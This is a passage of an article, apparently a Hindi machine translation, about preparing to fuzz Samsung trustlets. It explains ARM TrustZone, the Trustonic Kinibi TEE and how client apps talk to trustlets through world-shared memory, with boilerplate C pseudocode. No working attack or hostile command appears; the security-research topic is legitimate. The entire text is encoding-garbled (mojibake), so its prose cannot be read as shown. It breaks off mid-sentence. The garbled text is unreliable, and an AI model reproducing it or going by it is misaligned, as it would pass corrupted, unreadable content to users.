
рд╕рдордп рдХреЗ рд╕рд╛рде, рдЕрдзрд┐рдХ рд╕реЗ рдЕрдзрд┐рдХ рд╕реБрд░рдХреНрд╖рд╛рддреНрдордХ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпрд╛рдВ рджрд┐рдЦрд╛рдИ рджреЗрддреА рд╣реИрдВ, рдЬрд┐рд╕рдХреЗ рдХрд╛рд░рдг рд╣реИрдХрд░реНрд╕ рдХреЛ рдЕрдкрдиреЗ рдмреЗрд▓реНрдЯ рдХреЛ рдЕрдзрд┐рдХ рдХрд╕рдХрд░ рдХрд╕рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рд╕рд┐рдХреНрдХреЗ рдХреЗ рджреЛ рдкрд╣рд▓реВ рд╣реИрдВ: рд░рдХреНрд╖рд╛ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпрд╛рдВ рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рд╣рдорд▓реЗ рдХреА рд╕рддрд╣ рднреА рдмрдирд╛рддреА рд╣реИрдВ, рдФрд░ рдЙрдирдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХреЗрд╡рд▓ рдЙрдирдХреЗ рдХреЛрдб рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
рдЖрдЗрдП рдЗрди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЛ рджреЗрдЦреЗрдВ - рдПрдЖрд░рдПрдо рдЯреНрд░рд╕реНрдЯрдЬрд╝реЛрдиред рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рдмрдбрд╝реА рдорд╛рддреНрд░рд╛ рдореЗрдВ рдХреЛрдб рд╣реЛрддреЗ рд╣реИрдВ, рдФрд░ рдЙрдирдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдХрд┐рд╕реА рддрд░рд╣ рдХреЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рддрд░реАрдХреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рд╣рдо рдкреБрд░рд╛рдиреА рд╕рд┐рджреНрдз рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ - рдлрд╝рдЬрд╝рд┐рдВрдЧред рд▓реЗрдХрд┐рди рд╣реЛрд╢рд┐рдпрд╛рд░!
рд╣рдо рдЯреНрд░рд╕реНрдЯрдЬреЛрди рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА - рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреА рд╢реБрд░реВрдЖрдд рдХреЗ рд╕рд╛рде рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реЗ рд╡рд┐рд╢реЗрд╖ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкреВрд░реНрддрд┐ рдХрд░реЗрдВрдЧреЗред рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рд╣рдордиреЗ рдХрд┐рд╕ рдлрд╝рдЬрд╝рд┐рдВрдЧ рдХреА рд╡рд┐рдзрд┐ рдХреЛ рдЪреБрдирд╛ рд╣реИ, рд╣рдо рдкрд╣рд▓реЗ рдЯреНрд░рд╕реНрдЯрдЬреЛрди, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдПрдХ рдкрд╛рд░рдВрдкрд░рд┐рдХ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рд┐рджреНрдзрд╛рдВрдд рдХреА рдУрд░ рдореБрдбрд╝рддреЗ рд╣реИрдВред рдпрд╣ рд▓рдВрдмреЗ рд╕рдордп рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рд╣реИред рдЪрд▓реЛ рдЪрд▓рддреЗ рд╣реИрдВ!
рдПрдЖрд░рдПрдо рдЯреНрд░рд╕реНрдЯрдЬреЛрди
рдПрдЖрд░рдПрдо рдкреНрд░реЛрд╕реЗрд╕рд░ рдореЗрдВ рдЯреНрд░рд╕реНрдЯрдЬреЛрди рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рдЖрдкрдХреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕реБрд░рдХреНрд╖рд┐рдд рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рдЗрд╕ рддрд░рд╣ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрдВрдЬрд╛рдо рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреЗрдЗрд╕реНрдЯреЛрд░, рдПрдВрдбреНрд░реЙрдЗрдб рдУрдПрд╕ рдореЗрдВ рдлрд┐рдВрдЧрд░рдкреНрд░рд┐рдВрдЯ рд╕реЗрд╡рд╛рдУрдВ, рдбреАрдЖрд░рдПрдо рдХреЙрдкреАрд░рд╛рдЗрдЯ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХрд┐рдпреЛрдВ, рдЖрджрд┐ рджреНрд╡рд╛рд░рд╛ред
рдЯреНрд░рд╕реНрдЯрдЬрд╝реЛрди рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрд╣рд▓реЗ рд╣реА рдмрд╣реБрдд рдХреБрдЫ рд▓рд┐рдЦрд╛ рдЬрд╛ рдЪреБрдХрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдХреЗрд╡рд▓ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдпрд╛рдж рдХрд░реЗрдВрдЧреЗред

рдЯреНрд░рд╕реНрдЯрдЬрд╝реЛрди "рд╡рд┐рд╢реНрд╡" (рдЯреНрд░рд╕реНрдЯрдЬрд╝реЛрди - рд╡рд┐рд╢реНрд╡ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ) рдХреЛ рджреЛ - рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛ рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддрд╛ рд╣реИ - рдФрд░ рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЗ рд▓рд┐рдП рдЪрд╛рд░ рдирд┐рд╖реНрдкрд╛рджрди рдореЛрдб рдЬреЛрдбрд╝рддрд╛ рд╣реИ:
- EL3 - рдореЙрдирд┐рдЯрд░ рдореЛрдб - рд╡рд╣ рдореЛрдб рдЬрд┐рд╕рдореЗрдВ рд╕рд┐рд╕реНрдЯрдо рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рдЬреЛ рд╕рдмрд╕реЗ рдкрд╕рдВрджреАрджрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдореЛрдб рд╣реИ;
- рдПрд╕-рдИрдПрд▓ 2 - рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣рд╛рдЗрдкрд░рд╡рд┐рдЬрд░ рдореЛрдб;
- рдПрд╕-рдИрдПрд▓ 1 - рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЛрдб;
- S-EL0 - рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди (рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди, TAs, рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕) рдпрд╛ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХрд╛ рдореЛрдбред
рдЯреНрд░рд╕реНрдЯрдЬреЛрди рддрдХрдиреАрдХ рдХреЗ рд╕рд╛рде SoC рдкрд░, рджреЛ рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдПрдХ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдПрдХ рдЬреЛ рдиреЙрд░реНрдорд▓ рд╡рд░реНрд▓реНрдб рдореЗрдВ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЙрд╕реЗ рд░рд┐рдЪ рдУрдПрд╕ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рджреВрд╕рд░рд╛ рд╕рд┐рдХреНрдпреЛрд░ рд╡рд░реНрд▓реНрдб рд╕реЗ рдЯреАрдИрдИ (рдЯреНрд░рд╕реНрдЯреЗрдб рдПрдЧреНрдЬреЙрд╕реНрдЯ рдПрдирд╡рд╛рдпрд░рдирдореЗрдВрдЯ) рдУрдПрд╕ рд╣реИред рдЗрдирдореЗрдВ рд╕реЗ рдПрдХ рджрд░реНрдЬрди рд╕реЗ рдЕрдзрд┐рдХ рднрд░реЛрд╕реЗрдордВрдж рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рд╣реИрдВред рд╣рдо рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ - рдЯреНрд░рд╕реНрдЯреЛрдирд┐рдХ рдХрд┐рдирдмреА рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░реЗрдВрдЧреЗред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдПрд╕рдУрд╕реА Exynos рдХреЗ рд╕рд╛рде рд╕реИрдорд╕рдВрдЧ рдлреЛрди рдкрд░ рдЧреИрд▓реЗрдХреНрд╕реА рдПрд╕ 9 рддрдХ рд╢рд╛рдорд┐рд▓ рд╣реИред
рднрд░реЛрд╕реЗрдордВрдж рдХрд┐рдирдмреА
рдЯреНрд░рд╕реНрдЯреЛрдирд┐рдХ рдХреЛ ARM, Gemalto, рдФрд░ Giesecke & Devrient (G & D) рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ Kinibi рдирд╛рдо рдХреЗ рддрд╣рдд Giesecke & Devrient (G & D) Mobicore рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрд╛ред
Kinibi рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЧреНрд▓реЛрдмрд▓ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЯреНрд░рд╕реНрдЯреЗрдб рдПрдХреНрдЬрд╝рд┐рдХреНрдпреВрд╢рди рдПрдиреНрд╡рд╛рдпрд░рдореЗрдВрдЯ рдорд╛рдирдХреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рд╕рдВрд░рдЪрдирд╛рддреНрдордХ рдЪрд┐рддреНрд░ рдЪрд┐рддреНрд░ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдЯреНрд░рд╕реНрдЯрдЬрд╝реЛрди рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдореЗрдВ рди рдХреЗрд╡рд▓ "рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛" рдореЗрдВ рдШрдЯрдХ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдмрд▓реНрдХрд┐ "рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛" рдореЗрдВ рднреА рдШрдЯрдХ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдореБрдЦреНрдп рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрд╕ рдкреНрд░рдгрд╛рд▓реА рдХреА рдпреЛрдЬрдирд╛ рдХреЛ рдбреЗрд╡рд▓рдкрд░ рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рджреЗрдЦрдирд╛ рдмреЗрд╣рддрд░ рд╣реИред

рдПрдХ рдирд┐рдореНрди рд╕реНрддрд░ рдкрд░, рдПрдХ рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдореЗрдВ, рдорд╛рдЗрдХреНрд░реЛрдХрд░реНрдиреЗрд▓ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбреНрд░рд╛рдЗрд╡рд░ рдФрд░ рдПрдХ рд░рдирдЯрд╛рдЗрдо рдореИрдиреЗрдЬрд░ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдФрд░ рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛ рдореЗрдВ, рдПрдХ рд╡рд┐рд╢реЗрд╖ рдбреНрд░рд╛рдЗрд╡рд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдЕрдиреБрд░реЛрдз рдкрд░ рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрд╕реЗрд╕рд░ рдХреЗ рд╕рдВрдХреНрд░рдордг рдХреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реНрдерд╛рди рд╕реНрддрд░ рдкрд░, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдШрдЯрдХ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдФрд░ рд╕реБрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдХреЗ рдмреАрдЪ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдкреАрдЖрдИ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛ рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖ рдбреЗрдореЙрди рднреА рд╣реИ рдЬреЛ рдХреБрдЫ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХрд╛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд▓реЙрдиреНрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЬрд┐рд╕рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд╕рднреА рдЕрдиреБрд░реЛрдз рдЧреБрдЬрд░рддреЗ рд╣реИрдВред
рдХрд┐рдирдмреА рдореЗрдВ рдПрдкреАрдЖрдИ рдХреЗ рджреЛ рд╕реЗрдЯ рд╣реИрдВ: рдЧреНрд▓реЛрдмрд▓ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдПрдкреАрдЖрдИ (рд╣рд░реЗ рд░рдВрдЧ рдореЗрдВ рд╕рдВрдХреЗрддрд┐рдд) рдФрд░ рд▓рд┐рдЧреЗрд╕реА рдПрдкреАрдЖрдИ (рд▓рд╛рд▓)ред рджреЛрдиреЛрдВ рд╕реЗрдЯ рд▓рдЧрднрдЧ рд╕рдорд╛рди рдлрд╝рдВрдХреНрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдХреЗрд╡рд▓ рдкрд╣рд▓рд╛ рдЧреНрд▓реЛрдмрд▓ рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдорд╛рдирдХреЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рджреВрд╕рд░рд╛, рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдорд╛рдирдХ рд╕реЗ рдкрд╣рд▓реЗ рдерд╛, рдФрд░ рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рд▓рд┐рдЧреЗрд╕реА рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐, рдирд╛рдо рд╕реЗ рджреЗрдЦрддреЗ рд╣реБрдП, рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рд╕реЗ рджреВрд░ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рд╕реИрдорд╕рдВрдЧ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдореЗрдВ рдХреЗрд╡рд▓ рд▓рд┐рдЧреЗрд╕реА рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
рджреБрдирд┐рдпрд╛ рдХреЗ рдмреАрдЪ рдмрд╛рддрдЪреАрдд
рдЯреНрд░рд╕реНрдЯрдЬреЛрди рдкреНрд░реМрджреНрдпреЛрдЧрд┐рдХреА рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЕрд╡рд╕рд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛ рдореЗрдВ рдПрдкреНрд▓рд┐рдХреЗрд╢рди, рдЬрд┐рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ - рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХрд░рддреЗ рд╣реИрдВред рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рд╡рд┐рднрд┐рдиреНрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВ: рдкреНрд░рдорд╛рдгреАрдХрд░рдг, рдХреБрдВрдЬреА рдкреНрд░рдмрдВрдзрди, рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдШрдЯрдХреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рдЬреЛ рд╕реБрд░рдХреНрд╖рд╛ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ, рдЖрджрд┐ред
рдЯреНрд░рд╕реНрдЯрд▓реНрд╕ рдХреЗ рдЕрдиреБрд░реЛрдз рд╡рд┐рд╢реЗрд╖ рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░реЗрд╖рд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЯреНрд░рд╕реНрдЯрдЬреЛрди рддрдХрдиреАрдХ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рд╕рд╛рдорд╛рдиреНрдп рджреБрдирд┐рдпрд╛ рдФрд░ рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛, рдореЗрдореЛрд░реА рд╕реЗ рдКрдкрд░реА рд╕реНрддрд░ (EL0 рдФрд░ S-EL0) рдкрд░ рдПрдХ рджреВрд╕рд░реЗ рд╕реЗ рдЕрд▓рдЧ-рдерд▓рдЧ рд╣реИрдВ, рдФрд░ рдЙрдирдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдХреЗ рдРрд╕реЗ рдХреНрд╖реЗрддреНрд░ рдХреЛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд░реНрд▓реНрдб рд╢реЗрдпрд░ рдХреА рдЧрдИ рдореЗрдореЛрд░реА (WSM), рд╕рдВрд░рдХреНрд╖рд┐рдд рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЧрдИ API рджреБрдирд┐рдпрд╛ред
рдЧреНрд░рд╛рд╣рдХ рдЖрд╡реЗрджрди рдФрд░ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рдмреАрдЪ рдмрд╛рддрдЪреАрдд рдХреА рд╕рд╛рдорд╛рдиреНрдп рдпреЛрдЬрдирд╛ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╣реИ:

- рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЯреНрд░рд╕реНрдЯ рдХреЗ рдпреВрдЖрдИрдбреА рдХреЗ рд╕рд╛рде рдбреЗрдорди рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЗ рд╕рд╛рде рд╡рд╣ рдПрдХ рд╕рддреНрд░ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИ;
- рдбреЗрдорди рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рд╕рдВрдкрд░реНрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбреНрд░рд╛рдЗрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ;
- рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЛ рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдХреЗ рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рдореЗрдВ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ;
- рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдлрд┐рд░ рд╕реЗ рдбреЗрдореЙрди рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ WSM рдмрдлрд░ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЯреНрд░рд╕реНрдЯ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП рдЗрд╕рдореЗрдВ рдбреЗрдЯрд╛ рд▓рд┐рдЦрддрд╛ рд╣реИ;
- рдЧреНрд░рд╛рд╣рдХ рдЖрд╡реЗрджрди рдЕрдиреБрд░реЛрдз рдХреА рддрддреНрдкрд░рддрд╛ рдХреА рд╕рдВрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ;
- рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рджреБрдирд┐рдпрд╛ рдореЗрдВ, рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП рд╡рд╛рдВрдЫрд┐рдд рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрд╣ рдЯреНрд░рд╕реНрдЯ WSM рдмрдлрд░ рдХреЛ рдЕрдкрдиреЗ рдХрд╛рдо рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд▓рд┐рдЦрддрд╛ рд╣реИ;
- рдЕрдиреБрд░реЛрдз рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЪрдХреНрд░ рджреЛрд╣рд░рд╛ рд╕рдХрддреЗ рд╣реИрдВ;
- рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рддреНрд░ рдХреЛ рдЯреНрд░рд╕реНрдЯ рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред
рдХреНрд▓рд╛рдЗрдВрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд▓рд┐рдП рдФрд░ рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд▓рд┐рдП рдЗрдВрдЯрд░реЗрдХреНрд╢рди рд╕рддреНрд░ рдХреЗ рдЫрджреНрдо рдХреЛрдб рдмрд╣реБрдд рдмреЙрдпрд▓рд░рдкреНрд▓реЗрдЯ рд▓рдЧрддреЗ рд╣реИрдВред рдПрдХ рдЧреНрд░рд╛рд╣рдХ рдЖрд╡реЗрджрди рдХреЗ рд▓рд┐рдП:
void main() { uint8_t* tciBuffer; uint32_t tciLength; uint8_t* mem; uint32_t mem_size; mcOpenDevice(MC_DEVICE_ID_DEFAULT); mcMallocWsm(MC_DEVICE_ID_DEFAULT, 0, tciLength, &tciBuffer, 0); session.deviceId = MC_DEVICE_ID_DEFAULT; mcOpenSession(&session, &uuid, tciBuffer, tciLength); mcMap(&session, mem, mem_size, &mapInfo); mcNotify(&session); mcWaitNotification(&session, -1); mcUnmap(&session, mem1, &mapInfo1); mcCloseSession(&session); mcFreeWsm(MC_DEVICE_ID_DEFAULT, tciBuffer); mcCloseDevice(MC_DEVICE_ID_DEFAULT); }
рдЯреНрд░рд╕реНрдЯрд▓реЗрдЯ рдХреЗ рд▓рд┐рдП:
void tlMain(uint8_t *tciData, uint32_t tciLen) { // Check TCI size if (sizeof(tci_t) > tciLen) { // TCI too small -> end Trusted Application tlApiExit(EXIT_ERROR); } // Trusted Application main loop for (;;) { // Wait for a notification to arrive tlApiWaitNotification(INFINITE_TIMEOUT); // Process command // Notify the TLC tlApiNotify(); } }
mcNotify
/ tlApiNotify
рдФрд░ mcWaitNotification
/ tlApiWaitNotification
- рдпреЗ рдЕрдзрд┐рд╕реВрдЪрдирд╛ рдХреЗ рдмрд╣реБрдд рд╣реА рдХрд╛рд░реНрдп рд╣реИрдВ рдЬреЛ рдПрдХ рдЕрдиреБрд░реЛрдз / рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреВрд╕рд░реА рджреБрдирд┐рдпрд╛ рдореЗрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИ, рдФрд░ рдЕрдиреБрд░реЛрдз рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреНрд▓рд╛рдЗрдВрдЯ 